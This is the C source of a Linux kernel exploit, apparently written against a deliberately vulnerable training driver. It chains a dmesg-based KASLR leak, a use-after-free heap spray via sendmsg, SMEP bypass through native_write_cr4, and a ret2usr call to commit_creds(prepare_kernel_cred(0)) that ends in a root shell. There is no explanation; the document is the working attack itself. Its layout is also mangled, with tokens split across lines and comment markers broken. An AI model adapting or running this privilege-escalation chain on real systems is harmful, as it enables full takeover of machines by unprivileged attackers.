size_t base;
size_t SyS_ioctl_offset
=
0xffffffff81218d40
-
0xffffffff81000000
;
size_t native_write_cr4
=
0xffffffff81063570
-
BASE;
size_t commit_creds
=
0xffffffff810a1380
-
BASE;
size_t prepare_kernel_cred
=
0xffffffff810a1770
-
BASE;
size_t my_cr4
=
0x6f0
;
typedef struct uaf_obj
{
char uaf_first_buff[
56
];
long
arg;
/
/
[
+
56
]
void (
*
fn)(
long
);
/
/
[
+
56
+
sizeof(
long
)]
char uaf_second_buff[
12
];
}uaf_obj;
void set_cpu_affinity(){
cpu_set_t mask;
CPU_ZERO(&mask);
CPU_SET(
0
,&mask);
if
(sched_setaffinity(
0
,sizeof(mask),&mask))
puts(
"set single CPU failed"
);
return
;
}
int
heap_spray(
int
fd,size_t fn,size_t arg){
char buf[SIZE];
struct msghdr msgh
=
{
0
};
struct sockaddr_in addr
=
{
0
};
int
sockfd
=
socket(AF_INET, SOCK_DGRAM,
0
);
/
/
int
fd
=
open
(
"/dev/vulnerable_device"
,O_RDWR);
addr.sin_addr.s_addr
=
htonl(INADDR_LOOPBACK);
addr.sin_family
=
AF_INET;
addr.sin_port
=
htons(
6666
);
/
/
set
uaf_obj
memset(buf,
0x61
,sizeof(buf));
memcpy(buf
+
56
,&arg,sizeof(size_t));
/
/
arg
memcpy(buf
+
56
+
sizeof(size_t), &fn, sizeof(size_t));
/
/
call back addr
/
/
set
user space buf(msg header)
msgh.msg_control
=
buf;
msgh.msg_controllen
=
SIZE;
msgh.msg_name
=
(caddr_t)&addr;
msgh.msg_namelen
=
sizeof(addr);
/
/
trigger UAF
ioctl(fd,ALLOC_UAF_OBJ,NULL);
/
/
alloc_uaf_obj
ioctl(fd,FREE_UAF_OBJ,NULL);
/
/
free uaf obj
/
*
Heap spray
*
/
for
(
int
i
=
0
; i <
100000
; i
+
+
) {
sendmsg(sockfd, &msgh,
0
);
}
/
*
Trigger
*
/
ioctl(fd, USE_UAF_OBJ, NULL);
return
0
;
}
void trigger_page_fault(
int
fd){
/
/
int
fd
=
open
(PATH,O_RDWR);
size_t fn
=
0xDEADBEEFdeadbeef
;
/
/
invaild address
size_t arg
=
0xdeadbeefdeadbeef
;
heap_spray(fd,fn,arg);
return
;
}
size_t leak_base(){
FILE
*
f;
size_t info;
system(
"dmesg | tail | grep SyS_ioctl | cut -b 19-34 > /tmp/leak"
);
f
=
fopen(
"/tmp/leak"
,
"r"
);
fscanf(f,
"%lx"
,&info);
printf(
"[*]success:0x%lx\n"
,info);
fclose(f);
return
info;
}
void ret2usr(){
char
*
(
*
pkc)(
int
)
=
prepare_kernel_cred;
void (
*
cc)(char
*
)
=
commit_creds;
(
*
cc)((
*
pkc)(
0
));
}
int
main(){
int
fd
=
open
(PATH,O_RDWR);
set_cpu_affinity();
pid_t pid
=
fork();
int
end;
/
/
fork a new process to trigger page fault
if
(pid
=
=
0
){
trigger_page_fault(fd);
exit(
0
);
}
wait(&end);
/
/
wait
for
child process exit(
0
)
/
/
get aslr base
base
=
leak_base()
-
0x79
-
SyS_ioctl_offset;
printf(
"[*]success leak base:0x%lx\n"
,base);
commit_creds
=
base
+
commit_creds;
prepare_kernel_cred
=
base
+
prepare_kernel_cred;
native_write_cr4
=
base
+
native_write_cr4;
/
/
利用堆喷关闭smep
heap_spray(fd,native_write_cr4,my_cr4);
/
/
直接ret2usr
heap_spray(fd,ret2usr,
0
);
if
(getuid()
=
=
0
){
printf(
"[*] Welcome to root!\n"
);
system(
"/bin/sh\x00"
);
}
close(fd);
return
0
;
}